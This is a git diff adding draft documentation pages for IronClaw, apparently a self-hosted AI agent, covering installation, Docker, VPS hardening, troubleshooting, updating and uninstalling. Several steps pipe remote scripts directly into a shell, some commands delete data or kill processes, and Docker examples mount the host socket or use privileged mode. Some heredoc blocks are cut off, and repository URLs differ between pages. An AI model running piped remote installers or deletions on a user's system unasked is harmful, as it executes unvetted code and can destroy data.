`IRONCLAW_OAUTH_CALLBACK_URL` to a public URL + + + + ```bash + # Install service + ironclaw service install + + # Start + sudo systemctl enable --now ironclaw # Linux + brew services start ironclaw # macOS + ``` + + + + **Yes.** Configure your reverse proxy to forward to the Web Gateway: + + ```nginx + location / { + proxy_pass http://localhost:3000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + ``` + + See [VPS Install](/install/vps) for examples. + + + +## Security + + + + IronClaw uses defense in depth: + + 1. **Safety Layer** — Prompt injection defense + 2. **WASM Sandbox** — Sandboxed tool execution + 3. **Docker Sandbox** — Container isolation + 4. **Secrets Encryption** — AES-256-GCM + 5. **Zero-Exposure Model** — Credentials never in containers + + See [Security Overview](/security) for details. + + + + No software is unhackable. IronClaw reduces risk through: + - Multiple isolation layers + - Minimal attack surface + - Security-first design + - Regular updates + + Follow security best practices and keep updated. + + + + - **Secrets**: AES-256-GCM encrypted + - **Database**: Unencrypted by default (use full-disk encryption) + - **Network**: TLS to providers + + See [Secrets](/security/secrets) and [Database](/setup/database) for details. + + + + Tools run in: + - WASM sandbox (memory limits, fuel metering) + - Docker sandbox (container isolation) + - Network proxy (controlled access) + + Even if a tool is compromised, it's contained. + + + +## Advanced + + + + **Yes**, with caveats: + - Use libSQL (not PostgreSQL) + - Use Ollama with small models (3B parameters) + - Expect slower performance + - Use SD card for storage + + ```bash + # Install for ARM + curl -fsSL https://install.ironclaw.ai | bash + ``` + + + + **Yes.** Use the OpenAI-compatible backend: + + ```bash + export LLM_BACKEND=openai_compatible + export LLM_BASE_URL=http://your-llm:8000/v1 + export LLM_API_KEY=your-key + ``` + + Or use Ollama for local models. + + + + Yes! IronClaw is open source: + + - GitHub: https://github.com/ironclaw-ai/ironclaw + - Issues: Report bugs and feature requests + - PRs: Welcome with tests + + See CONTRIBUTING.md in the repository. + + + +## Still Have Questions? + +- [Troubleshooting](/help/troubleshooting) — Common issues +- [CLI Reference](/reference/cli) — Command reference +- [Configuration](/setup/configuration) — Environment variables +- [GitHub Issues](https://github.com/ironclaw-ai/ironclaw/issues) — Bug reports diff --git a/docs/drafts/help/troubleshooting.mdx b/docs/drafts/help/troubleshooting.mdx new file mode 100644 index 0000000000..3cddffc091 --- /dev/null +++ b/docs/drafts/help/troubleshooting.mdx @@ -0,0 +1,317 @@ +--- +title: Troubleshooting +sidebarTitle: Troubleshooting +description: Common issues and solutions +--- + +Solutions for common IronClaw issues. + +## Diagnostic Tool + +Run diagnostics first: + +```bash +ironclaw doctor +``` + +This checks: +- Database connectivity +- LLM provider access +- Docker availability +- Tunnel configuration + +## Common Issues + +### Installation + + + + **Cause:** PATH not updated + + **Solution:** + ```bash + # Add to PATH + export PATH="$HOME/.local/bin:$PATH" + + # Or restart your terminal + exec $SHELL + ``` + + + + **Solution:** + ```bash + # Fix ownership + sudo chown -R $USER:$USER ~/.local/bin/ironclaw + + # Or move to system path + sudo mv ~/.local/bin/ironclaw /usr/local/bin/ + ``` + + + +### Database + + + + **PostgreSQL:** + ```bash + # Check PostgreSQL is running + sudo systemctl status postgresql + + # Verify connection + psql postgres://user:pass@localhost/ironclaw + ``` + + **libSQL:** + ```bash + # Check permissions + ls -la ~/.ironclaw/ + + # Fix ownership + chmod 755 ~/.ironclaw + ``` + + + + **Solution:** + ```bash + # Ubuntu/Debian + sudo apt install postgresql-15-pgvector + + # Enable extension + sudo -u postgres psql -d ironclaw -c "CREATE EXTENSION IF NOT EXISTS vector;" + ``` + + + + **Solution:** + ```bash + # Find and kill process + lsof ~/.ironclaw/ironclaw.db + kill -9 + + # Or wait for process to exit + ``` + + + +### LLM Provider + + + + **Solutions:** + 1. Check default browser is set + 2. Manually visit the URL shown in terminal + 3. On VPS: use API key mode instead + + ```bash + # Set callback URL for remote servers + export IRONCLAW_OAUTH_CALLBACK_URL=https://your-server:9876 + ``` + + + + **Solutions:** + 1. Verify key is copied correctly (no extra spaces) + 2. Check key hasn't expired + 3. Ensure billing is set up (OpenAI/Anthropic) + + + + **Solution:** + ```bash + # Re-authenticate + ironclaw onboard --skip-auth + # Select NEAR AI → re-authenticate + ``` + + + + **Solutions:** + 1. Wait and retry + 2. Implement exponential backoff + 3. Check your provider's rate limits + 4. Consider upgrading tier + + + + **Solutions:** + 1. Verify model name spelling + 2. Check model availability for your account + 3. Try a different model + + + +### Channels + + + + **Solutions:** + ```bash + # Check IronClaw is running + ironclaw status + + # Verify port + sudo ss -tlnp | grep 3000 + + # Check firewall + sudo ufw status + sudo ufw allow 3000 + ``` + + + + **Solution:** + ```bash + # View logs + RUST_LOG=ironclaw=info ironclaw run 2>&1 | grep "Gateway auth token" + + # Or set persistent token + export GATEWAY_AUTH_TOKEN=your-token + ``` + + + + **Solutions:** + 1. Check bot token is valid (test with @BotFather) + 2. Verify polling mode or webhook URL + 3. Check logs for errors + 4. Ensure owner is paired (if using pairing mode) + + + + **Solutions:** + 1. Verify HTTPS URL is set (required by Telegram) + 2. Check tunnel is running (ngrok, cloudflared) + 3. Ensure webhook secret matches + + + + **Solutions:** + 1. Send `/start` to your bot in Telegram + 2. Re-run `ironclaw onboard --channels-only` + 3. Wait 120 seconds for first message + + + +### Sandbox + + + + **Solution:** + ```bash + # Install Docker + curl -fsSL https://get.docker.com | sh + + # Add user to docker group + sudo usermod -aG docker $USER + + # Log out and back in + ``` + + + + **Solutions:** + 1. Increase timeout: + ```bash + export SANDBOX_TIMEOUT_SECS=300 + ``` + 2. Check for infinite loops in job + 3. Verify job logic + + + + **Solutions:** + 1. Increase memory limit: + ```bash + export SANDBOX_MEMORY_LIMIT_MB=4096 + ``` + 2. Optimize job memory usage + 3. Use smaller models + + + +### Security + + + + **Solutions:** + - On macOS, click "Always Allow" in keychain dialog + - This is expected OS behavior + - Caching minimizes prompts + + + + **Solution:** + ```bash + # Install gnome-keyring + sudo apt install gnome-keyring + + # Or use environment variable mode + export SECRETS_MASTER_KEY="your-key" + ``` + + + +### Platform-Specific + + + + **Expected:** Two dialogs on first access: + 1. "Enter your password to unlock the keychain" + 2. "Allow ironclaw to access this keychain item" + + **Solution:** Click "Always Allow" to prevent repeated prompts. + + + + **Solutions:** + - WSL2 automatically forwards ports + - Use `http://localhost:3000` from Windows + - Check WSL2 is running: `wsl --status` + + + +## Debug Logging + +Enable verbose logging: + +```bash +# All modules +RUST_LOG=debug ironclaw run + +# Just IronClaw +RUST_LOG=ironclaw=debug ironclaw run + +# Specific module +RUST_LOG=ironclaw::agent=debug ironclaw run + +# With HTTP requests +RUST_LOG=ironclaw=debug,tower_http=debug ironclaw run +``` + +## Getting Help + +If your issue isn't listed: + +1. Run `ironclaw doctor --json` +2. Check logs with `RUST_LOG=debug` +3. Search [GitHub Issues](https://github.com/ironclaw-ai/ironclaw/issues) +4. Create a new issue with: + - IronClaw version + - Operating system + - Full error message + - Steps to reproduce + +## Next Steps + + + + Frequently asked questions + + + + Command-line reference + + diff --git a/docs/drafts/install/docker.mdx b/docs/drafts/install/docker.mdx new file mode 100644 index 0000000000..c6486f440d --- /dev/null +++ b/docs/drafts/install/docker.mdx @@ -0,0 +1,249 @@ +--- +title: Docker Installation +sidebarTitle: Docker +description: Run IronClaw in a Docker container +--- + +Run IronClaw inside a Docker container. This provides isolation and consistency across environments. + + +**Important distinction:** IronClaw runs **alongside** Docker (for job sandboxing), not inside Docker by default. This page covers running IronClaw itself in a container — a different use case from the default installation. + + +## When to Use Docker + +- **Testing**: Quick experiments without modifying your system +- **Consistent environments**: Same configuration across dev/staging/prod +- **Multi-tenant**: Run multiple IronClaw instances on one host +- **CI/CD**: Automated deployments + +## Quick Start + +```bash +# Create data directory +mkdir -p ~/.ironclaw + +# Run IronClaw +docker run -d \ + --name ironclaw \ + -v ~/.ironclaw:/home/ironclaw/.ironclaw \ + # enabling this mount will allow the container to control the docker daemon, use at own risk + # -v /var/run/docker.sock:/var/run/docker.sock \ + -p 3000:3000 \ + -p 8080:8080 \ + # Pin to a specific IronClaw version for reproducible, rollback-friendly deployments. + nearai/ironclaw:latest +``` + +## Docker Compose + +Save as `docker-compose.yml`: + +```yaml +version: '3.8' + +services: + ironclaw: + # Pin to a specific IronClaw version for reproducible, rollback-friendly deployments. + image: nearai/ironclaw:latest + container_name: ironclaw + restart: unless-stopped + + volumes: + # Persistent data + - ~/.ironclaw:/home/ironclaw/.ironclaw + + # Docker socket for sandbox jobs, also exposes your docker host to this container! + - /var/run/docker.sock:/var/run/docker.sock + + ports: + # Web Gateway + - "3000:3000" + # HTTP Webhook + - "8080:8080" + + environment: + # Required: database backend + - DATABASE_BACKEND=libsql + + # Optional: LLM backend + - LLM_BACKEND=nearai + - NEARAI_SESSION_TOKEN=${NEARAI_SESSION_TOKEN} + + # Optional: Web Gateway + - GATEWAY_ENABLED=true + - GATEWAY_HOST=0.0.0.0 + - GATEWAY_PORT=3000 + + # Optional: HTTP Webhook + - HTTP_ENABLED=true + - HTTP_HOST=0.0.0.0 + - HTTP_PORT=8080 + +# Optional: PostgreSQL instead of libSQL +# postgres: +# image: pgvector/pgvector:pg15 +# environment: +# POSTGRES_USER: ironclaw +# POSTGRES_PASSWORD: changeme +# POSTGRES_DB: ironclaw +# volumes: +# - postgres_data:/var/lib/postgresql/data +# +#volumes: +# postgres_data: +``` + +Start: + +```bash +docker compose up -d +``` + +## Volume Mounts + +| Host Path | Container Path | Purpose | +|-----------|---------------|---------| +| `~/.ironclaw` | `/home/ironclaw/.ironclaw` | Config, database, logs | +| `/var/run/docker.sock` | `/var/run/docker.sock` | Launch sandbox containers | + +## Environment Variables + +Pass configuration via environment variables: + +```bash +docker run -d \ + --name ironclaw \ + -e DATABASE_BACKEND=libsql \ + -e LLM_BACKEND=nearai \ + -e NEARAI_SESSION_TOKEN=sess_xxx \ + -e GATEWAY_ENABLED=true \ + -v ~/.ironclaw:/home/ironclaw/.ironclaw \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -p 3000:3000 \ + nearai/ironclaw:latest +``` + +See [Configuration Reference](/setup/configuration) for all options. + +## Docker-in-Docker Considerations + +IronClaw can launch sandbox containers. In Docker, this requires: + +1. **Docker socket mount** (shown above): Allows IronClaw to launch sibling containers +2. **Privileged mode** (optional): Only if sandbox jobs need elevated permissions + +```bash +# With privileged mode (not recommended unless needed) +docker run -d \ + --name ironclaw \ + --privileged \ + -v ~/.ironclaw:/home/ironclaw/.ironclaw \ + -v /var/run/docker.sock:/var/run/docker.sock \ + ... +``` + +## Custom Data Directory + +To use a different data location: + +```bash +mkdir -p /opt/ironclaw/data + +docker run -d \ + --name ironclaw \ + -e IRONCLAW_BASE_DIR=/data \ + -v /opt/ironclaw/data:/data \ + ... +``` + +## Reverse Proxy (HTTPS) + +For external access, put a reverse proxy in front: + +### Caddy + +```caddy +# Caddyfile +webg.example.com { + reverse_proxy localhost:3000 +} +``` + +### nginx + +```nginx +server { + listen 443 ssl; + server_name webg.example.com; + + ssl_certificate /path/to/cert.pem; + ssl_certificate_key /path/to/key.pem; + + location / { + proxy_pass http://localhost:3000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } +} +``` + +## Updating + +```bash +# Pull latest image +docker pull nearai/ironclaw:latest + +# Recreate container +docker stop ironclaw +docker rm ironclaw +docker run -d \ + --name ironclaw \ + -v ~/.ironclaw:/home/ironclaw/.ironclaw \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -p 3000:3000 \ + nearai/ironclaw:latest + +# Or with docker compose +docker compose pull +docker compose up -d +``` + +## Troubleshooting + + + + Ensure Docker socket is mounted: + ```bash + docker run ... -v /var/run/docker.sock:/var/run/docker.sock ... + ``` + + + + Fix ownership: + ```bash + sudo chown -R 1000:1000 ~/.ironclaw + ``` + + + + Change port mapping: + ```bash + -p 3002:3000 # Maps host port 3002 to container port 3000 + ``` + + + +## Next Steps + + + + Full environment variable reference + + + Production deployment guide + + diff --git a/docs/drafts/install/index.mdx b/docs/drafts/install/index.mdx new file mode 100644 index 0000000000..41f0512a0f --- /dev/null +++ b/docs/drafts/install/index.mdx @@ -0,0 +1,148 @@ +--- +title: Installation +sidebarTitle: Overview +description: Choose how to install IronClaw +--- + +IronClaw can run in multiple environments — from your local machine to a cloud VPS. Choose the installation method that fits your needs. + +## Installation Methods + + + + Run IronClaw directly on your machine. Best for personal use. + + - **Linux**: Shell script or package manager + - **macOS**: Homebrew or shell script + - **Windows**: Native or WSL2 (recommended) + + + + Run IronClaw in a container. Good for consistent environments. + + - Docker Compose available + - Volume persistence + - Docker-in-Docker support + + + + Deploy to a remote server. Best for always-on operation. + + - Ubuntu/Debian recommended + - PostgreSQL + pgvector + - Reverse proxy for HTTPS + + + + Managed hosting by NEAR AI. Zero maintenance. + + - Pre-configured environment + - Session token injection + - Web UI access + + + +## Quick Decision Guide + +| Scenario | Recommended Method | Database | +|----------|-------------------|----------| +| Personal laptop | [Local install](/install/local) | libSQL | +| Always-on server | [VPS](/install/vps) | PostgreSQL | +| Testing / experimenting | [Docker](/install/docker) | libSQL | +| Zero maintenance | [NEAR AI Cloud](/install/nearai-cloud) | Managed | +| Team deployment | [VPS](/install/vps) | PostgreSQL | + +## System Requirements + + + + - **OS**: Linux (glibc 2.31+), macOS 14+, Windows 10+ or WSL2 + - **RAM**: 512 MB (1 GB recommended with LLM) + - **Disk**: 100 MB for binary + data + - **Network**: Internet access for LLM provider + + + + - **OS**: Ubuntu 22.04 LTS, Debian 12, or macOS 14+ + - **RAM**: 2 GB + - **Disk**: 1 GB+ for logs and data + - **Database**: PostgreSQL 15+ with pgvector + - **Docker**: 24.x+ (for sandbox jobs) + + + + Docker is **optional** for running IronClaw itself, but required if you want to use: + - Sandboxed job execution (Docker isolation) + - Claude Code mode + - Automatic WASM tool compilation + + Install Docker: + ```bash + # Ubuntu/Debian + curl -fsSL https://get.docker.com | sh + + # macOS + brew install docker + + # Or download from https://docker.com + ``` + + + +## Default: libSQL for Local Installs + +For local installations, we recommend **libSQL** (embedded SQLite) as your database backend: + +- **Zero-dependency**: No separate database server to install +- **Auto-created**: Database created automatically at `~/.ironclaw/ironclaw.db` +- **Zero-config**: Works out of the box +- **Turso option**: Can sync to Turso cloud for backup + +```bash +# During wizard Step 1, select "libSQL" +# Path: ~/.ironclaw/ironclaw.db (default) +``` + +**When to use PostgreSQL instead:** +- Multi-user deployments +- High-throughput scenarios +- Existing PostgreSQL infrastructure +- Need for advanced querying + +See [Database Backends](/setup/database) for full comparison. + +## Installation Checklist + +Before installing: + +- [ ] Choose your installation method +- [ ] Decide on database backend (libSQL vs PostgreSQL) +- [ ] Have your LLM provider credentials ready (API key or OAuth) +- [ ] Decide which channels you want to enable + +After installation: + +- [ ] Run the onboarding wizard: `ironclaw onboard` +- [ ] Start IronClaw: `ironclaw run` +- [ ] Verify Web Gateway loads (if enabled) +- [ ] Test sending a message + +## Getting Help + +- **Installation issues**: See [Troubleshooting](/help/troubleshooting) +- **Configuration help**: See [Configuration Reference](/setup/configuration) +- **Wizard questions**: See [Wizard Walkthrough](/start/wizard) + +## What's Next? + + + + Follow the installation guide for your chosen method + + + Configure your database, LLM, and channels + + + Open the Web Gateway or chat via Telegram + + diff --git a/docs/drafts/install/local.mdx b/docs/drafts/install/local.mdx new file mode 100644 index 0000000000..a873c0279f --- /dev/null +++ b/docs/drafts/install/local.mdx @@ -0,0 +1,305 @@ +--- +title: Local Installation +sidebarTitle: Local +description: Install IronClaw on Linux, macOS, or Windows +--- + +Install IronClaw directly on your local machine for personal use. This is the simplest and most common installation method. + +## Installation by OS + + + + ### Quick Install (Shell Script) + + ```bash + curl -fsSL https://install.ironclaw.ai | bash + ``` + + This installs to `~/.local/bin/ironclaw`. Add to your PATH if needed: + + ```bash + export PATH="$HOME/.local/bin:$PATH" + echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc + ``` + + ### Package Manager (Ubuntu/Debian) + + ```bash + # Add repository + curl -fsSL https://repo.ironclaw.ai/gpg | sudo gpg --dearmor -o /usr/share/keyrings/ironclaw.gpg + echo "deb [signed-by=/usr/share/keyrings/ironclaw.gpg] https://repo.ironclaw.ai stable main" | sudo tee /etc/apt/sources.list.d/ironclaw.list + + # Install + sudo apt update + sudo apt install ironclaw + ``` + + ### Build from Source + + ```bash + # Prerequisites + curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh + + + # Build + git clone https://github.com/nearai/ironclaw.git + cd ironclaw + cargo build --release + + # Install + sudo cp target/release/ironclaw /usr/local/bin/ + ``` + + ### Post-Install + + 1. **Run the wizard**: + ```bash + ironclaw onboard + ``` + + 2. **Select libSQL** (recommended) during Step 1 + + 3. **Service setup** (optional): + ```bash + ironclaw service install + sudo systemctl enable --now ironclaw + ``` + + + + ### Homebrew (Recommended) + + ```bash + # Add tap + brew tap ironclaw-ai/tap + + # Install + brew install ironclaw + ``` + + ### Shell Script + + ```bash + curl -fsSL https://install.ironclaw.ai | bash + ``` + + Installs to `~/.local/bin/ironclaw`. + + ### Post-Install + + 1. **Run the wizard**: + ```bash + ironclaw onboard + ``` + + 2. **macOS Keychain** (Step 2): Two system dialogs are expected: + - "Enter your password to unlock the keychain" + - "Allow ironclaw to access this keychain item" + + Click "Always Allow" to minimize future prompts. + + 3. **Service setup** (optional): + ```bash + ironclaw service install + brew services start ironclaw + ``` + + + + ### Prerequisites + + 1. Install WSL2: + ```powershell + wsl --install + ``` + + 2. Restart, then open Ubuntu in WSL2 + + ### Install in WSL2 + + ```bash + # Inside WSL2 + curl -fsSL https://install.ironclaw.ai | bash + ``` + + ### Access from Windows + + The Web Gateway binds to localhost by default: + + - In WSL2: `http://127.0.0.1:3000` + - From Windows: `http://localhost:3000` (WSL2 forwards ports automatically) + + ### Post-Install + + ```bash + ironclaw onboard + ironclaw run + ``` + + + WSL2 is the recommended way to run IronClaw on Windows. Native Windows support is available but less tested. + + + + + ### PowerShell Install + + ```powershell + irm https://install.ironclaw.ai | iex + ``` + + Or manually: + 1. Download `ironclaw-x86_64-pc-windows-msvc.zip` from [releases](https://github.com/nearai/ironclaw/releases) + 2. Extract to `C:\Program Files\IronClaw\` + 3. Add to PATH + + ### Manual PATH Setup + + ```powershell + # Add to system PATH + [Environment]::SetEnvironmentVariable( + "Path", + $env:Path + ";C:\Program Files\IronClaw", + "User" + ) + ``` + + ### Post-Install + + ```powershell + ironclaw onboard + ironclaw run + ``` + + + Native Windows support is experimental. For production use, prefer WSL2 or Linux. + + + + +## Database Recommendation + +For local installs, use **libSQL** (embedded SQLite): + +``` +Wizard Step 1: Database Connection +→ Select "libSQL" +→ Path: ~/.ironclaw/ironclaw.db (default) +``` + +Benefits of libSQL for local use: +- No separate database server to install +- Zero configuration +- Automatic migrations +- Optional Turso cloud sync + +PostgreSQL is available but adds complexity for single-user deployments. + +## Keychain Behavior + +Your OS manages the encryption master key: + + + + Uses macOS Keychain. Two dialogs expected: + 1. "Enter your password to unlock the keychain" + 2. "Allow ironclaw to access this keychain item" + + Click "Always Allow" on the second dialog to prevent repeated prompts. + + + + Requires `gnome-keyring` or `kwallet`: + + ```bash + # Ubuntu/Debian + sudo apt install gnome-keyring + + # Fedora + sudo dnf install gnome-keyring + ``` + + If unavailable, use environment variable mode in Step 2. + + + + Uses Windows Data Protection API (DPAPI). No additional setup required. + + + +## Service Installation + +Run IronClaw as a background service: + + + + ```bash + # Install service + ironclaw service install + + # Enable and start + sudo systemctl enable --now ironclaw + + # Check status + sudo systemctl status ironclaw + + # View logs + sudo journalctl -u ironclaw -f + ``` + + + + ```bash + # Install service + ironclaw service install + + # Start with Homebrew + brew services start ironclaw + + # Or manually + launchctl load ~/Library/LaunchAgents/ai.ironclaw.service.plist + + # Check status + launchctl list | grep ironclaw + ``` + + + + Windows service support is coming. For now, use: + - Task Scheduler + - NSSM (Non-Sucking Service Manager) + - Or run in WSL2 with systemd + + + +## Verify Installation + +```bash +# Check version +ironclaw --version + +# Run diagnostics +ironclaw doctor + +# Expected output: +# ✓ Binary: ironclaw v0.13.0 +# ✓ Config directory: /home/user/.ironclaw +# ✓ Database: libSQL (not yet initialized) +# ✓ Docker: available (optional) +``` + +## Next Steps + +1. **Run the wizard**: `ironclaw onboard` +2. **Start IronClaw**: `ironclaw run` +3. **Open Web Gateway**: `http://127.0.0.1:3000` + + + + Detailed guide to the 8-step setup wizard + + + Common issues and solutions + + diff --git a/docs/drafts/install/nearai-cloud.mdx b/docs/drafts/install/nearai-cloud.mdx new file mode 100644 index 0000000000..60ef7dcec8 --- /dev/null +++ b/docs/drafts/install/nearai-cloud.mdx @@ -0,0 +1,81 @@ +--- +title: NEAR AI Cloud +sidebarTitle: NEAR AI Cloud +description: Use NEAR AI managed hosting for IronClaw +--- + +NEAR AI Cloud offers managed hosting for IronClaw — zero setup required. + +## What is NEAR AI Cloud? + +NEAR AI Cloud runs IronClaw for you on their infrastructure: + +- **Pre-configured**: Database, LLM, and channels ready to go +- **Session token auth**: Uses your NEAR AI account +- **Web UI access**: Browser-based chat interface +- **Zero maintenance**: Updates and monitoring handled by NEAR AI + +## Getting Access + +1. Sign up at https://cloud.near.ai +2. Request IronClaw access from your NEAR AI dashboard +3. Receive your IronClaw instance URL and credentials + +## Authentication + +NEAR AI Cloud uses session token authentication. Your token is automatically injected into the IronClaw environment. + +### For hosting providers + +If you're deploying IronClaw on NEAR AI infrastructure: + +```bash +# Session token is injected via environment +export NEARAI_SESSION_TOKEN="sess_xxxxx" +``` + +This takes precedence over file-based tokens. + +## Using Your Instance + +Once provisioned: + +1. **Access the Web UI**: Open your assigned URL in a browser +2. **Authenticate**: Log in with your NEAR AI credentials +3. **Start chatting**: The agent is pre-configured and ready + +## Configuration + +While most settings are managed by NEAR AI, you can customize: + +- **Channels**: Enable Telegram, webhooks, etc. +- **Tools**: Install extensions from the registry +- **Skills**: Load custom SKILL.md files + +Access configuration through the Web UI Settings tab. + +## Limitations + +- Cannot modify core LLM backend (fixed to NEAR AI) +- Cannot access underlying database directly +- File system access limited to workspace +- No shell access to the host + +## Switching to Self-Hosted + +If you outgrow managed hosting: + +1. Export your data via the Web UI +2. Follow the [VPS installation guide](/install/vps) +3. Import your data to the new instance + +## Next Steps + + + + Run IronClaw on your own machine + + + Self-hosted deployment guide + + diff --git a/docs/drafts/install/uninstalling.mdx b/docs/drafts/install/uninstalling.mdx new file mode 100644 index 0000000000..046218b747 --- /dev/null +++ b/docs/drafts/install/uninstalling.mdx @@ -0,0 +1,123 @@ +--- +title: Uninstalling IronClaw +sidebarTitle: Uninstalling +description: Completely remove IronClaw from your system +--- + +How to completely remove IronClaw from your system. + +## Stop IronClaw + +```bash +# If running in terminal +Ctrl+C + +# If running as a service +sudo systemctl stop ironclaw # systemd +brew services stop ironclaw # Homebrew +``` + +## Remove Binary + + + + ```bash + # Remove binary + rm ~/.local/bin/ironclaw + + # Or if installed system-wide + sudo rm /usr/local/bin/ironclaw + ``` + + + + ```bash + sudo apt remove ironclaw + sudo apt autoremove + ``` + + + + ```bash + brew uninstall ironclaw + brew untap ironclaw-ai/tap + ``` + + + + ```bash + # Stop and remove container + docker stop ironclaw + docker rm ironclaw + + # Remove image + docker rmi nearai/ironclaw:latest + ``` + + + +## Remove Data + + +This permanently deletes all IronClaw data including conversations, memory, and settings. This cannot be undone. + + +```bash +# Remove data directory +rm -rf ~/.ironclaw + +# Remove service files +sudo rm -f /etc/systemd/system/ironclaw.service +sudo systemctl daemon-reload + +# Remove launchd service (macOS) +rm -f ~/Library/LaunchAgents/ai.ironclaw.service.plist + +# Remove logs +sudo rm -rf /var/log/ironclaw +``` + +## Remove PostgreSQL Database + +If you used PostgreSQL: + +```bash +# Remove database (optional) +sudo -u postgres psql < + + ```bash + # Re-run the install script (updates in place) + curl -fsSL https://install.ironclaw.ai | bash + + # Verify update + ironclaw --version + ``` + + + + ```bash + sudo apt update + sudo apt upgrade ironclaw + ``` + + + + ```bash + brew update + brew upgrade ironclaw + ``` + + + + ```bash + # Pull latest image + docker pull nearai/ironclaw:latest + + # Recreate container + docker stop ironclaw + docker rm ironclaw + docker run -d --name ironclaw ... + + # Or with docker compose + docker compose pull + docker compose up -d + ``` + + + + ```bash + cd /path/to/ironclaw + git pull origin main + cargo build --release + sudo cp target/release/ironclaw /usr/local/bin/ + ``` + + + +## Post-Update Steps + +### 1. Review Changelog + +Check what changed in the new version: + +```bash +# View changelog (if installed from source) +cat /usr/local/share/ironclaw/CHANGELOG.md + +# Or online +open https://github.com/nearai/ironclaw/releases +``` + +### 2. Run Migrations + +Database migrations run automatically on startup, but verify: + +```bash +ironclaw run +# Look for: "Running migrations..." in logs +``` + +### 3. Restart Service + +If running as a service: + +```bash +# systemd (Linux) +sudo systemctl restart ironclaw + +# launchd (macOS) +launchctl unload ~/Library/LaunchAgents/ai.ironclaw.service.plist +launchctl load ~/Library/LaunchAgents/ai.ironclaw.service.plist + +# Homebrew +brew services restart ironclaw +``` + +## Downgrading + +If you need to rollback: + +```bash +# Linux/macOS shell script +# Download specific version +curl -fsSL https://install.ironclaw.ai | bash -s -- --version 0.12.0 + +# Docker +docker pull nearai/ironclaw:v0.12.0 +``` + + +Downgrading may require manual database rollback if migrations were applied. Always backup before updating. + + +## Automatic Updates + +### systemd Timer (Linux) + +```bash +sudo tee /etc/systemd/system/ironclaw-update.service < + + ```bash + # Fix permissions + sudo chown -R $USER:$USER ~/.local/bin/ironclaw + + # Or update with sudo + sudo curl -fsSL https://install.ironclaw.ai | bash + ``` + + + + 1. Stop IronClaw + 2. Backup database + 3. Run with debug logging: `RUST_LOG=debug ironclaw run` + 4. Check specific migration error + + + + ```bash + # Check logs + sudo journalctl -u ironclaw -n 50 + + # Verify binary + which ironclaw + ironclaw --version + + # Reinstall if corrupted + curl -fsSL https://install.ironclaw.ai | bash + ``` + + + +## Next Steps + +- Check the [Changelog](/reference/changelog) for new features +- Review [Security](/security) updates +- See [Troubleshooting](/help/troubleshooting) if issues occur diff --git a/docs/drafts/install/vps.mdx b/docs/drafts/install/vps.mdx new file mode 100644 index 0000000000..0ff7aacbb5 --- /dev/null +++ b/docs/drafts/install/vps.mdx @@ -0,0 +1,342 @@ +--- +title: VPS Installation +sidebarTitle: VPS / Cloud +description: Deploy IronClaw to a cloud server +--- + +Deploy IronClaw to a remote VPS or cloud server for always-on operation. + +## Recommended Providers + +- **DigitalOcean**: Droplets from $6/month +- **Hetzner**: CX11 from €4.51/month +- **AWS**: t3.small or larger +- **Google Cloud**: e2-small or larger +- **Azure**: B1s or larger + +Minimum specs: 1 vCPU, 2 GB RAM, 20 GB SSD + +## Prerequisites + +```bash +# SSH into your server +ssh user@your-server-ip + +# Update packages +sudo apt update && sudo apt upgrade -y +``` + +## Step 1: Install IronClaw + +```bash +# Install IronClaw +curl -fsSL https://install.ironclaw.ai | bash + +# Add to PATH if needed +export PATH="$HOME/.local/bin:$PATH" +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +``` + +## Step 2: Install PostgreSQL + +PostgreSQL is recommended for production deployments. + +```bash +# Install PostgreSQL +sudo apt install postgresql postgresql-contrib + +# Start PostgreSQL +sudo systemctl enable --now postgresql + +# Create database and user +sudo -u postgres psql < +**Browser OAuth blocked on VPS.** The default NEAR AI authentication requires a browser on the same machine. On a VPS, use: + +1. **NEAR AI Cloud API key** (recommended): Get an API key from https://cloud.near.ai and paste it into the wizard +2. **Custom callback URL**: Set `IRONCLAW_OAUTH_CALLBACK_URL` to a publicly reachable URL + + + +```bash +ironclaw onboard +``` + +**Wizard selections:** + +1. **Database**: Select "PostgreSQL" + - Enter connection string: `postgres://ironclaw:your-secure-password@localhost/ironclaw` + +2. **Security**: Select "OS Keychain" or "Environment Variable" + +3. **Inference Provider**: For NEAR AI, select option 4: "NEAR AI Cloud API key" + - Paste your API key from https://cloud.near.ai + +4. **Model Selection**: Choose from the list + +5. **Embeddings**: Enable if using OpenAI or NEAR AI + +6. **Channels**: Enable Web Gateway and HTTP Webhook + +7. **Extensions**: Install desired tools + +8. **Heartbeat**: Optional, for periodic tasks + +## Step 4: Firewall Configuration + + +**Important:** IronClaw's orchestrator binds to `0.0.0.0:50051` on Linux for container communication. This port should **not** be exposed externally. The firewall configuration below includes rules to block external access to this port—do not add any UFW allow rules for `50051`. + + +```bash +# Install UFW if not present +sudo apt install ufw + +# Default deny incoming +sudo ufw default deny incoming +sudo ufw default allow outgoing + +# Allow SSH +sudo ufw allow 22/tcp + +# Allow Web Gateway +sudo ufw allow 3000/tcp + +# Allow HTTP Webhook (if using) +sudo ufw allow 8080/tcp + +# Orchestrator gRPC port (internal only) +# UFW already denies incoming traffic by default; do NOT add an allow rule for 50051. +# If you run Docker workers on the same host, you can allow only from the Docker bridge, e.g.: +# sudo ufw allow in on docker0 to any port 50051 proto tcp +# sudo ufw deny in on eth0 to any port 50051 proto tcp + +# Enable firewall +sudo ufw enable +``` + +## Step 5: Reverse Proxy (HTTPS) + +For external access, use a reverse proxy with TLS: + +### Option A: Caddy (Recommended) + +```bash +# Install Caddy +sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https +curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg +curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list +sudo apt update +sudo apt install caddy + +# Configure Caddy +sudo tee /etc/caddy/Caddyfile <.*$ + ^.*Invalid token.*from .*$ +ignoreregex = +EOF + +# Create jail +sudo tee /etc/fail2ban/jail.d/ironclaw.conf < + + Verify 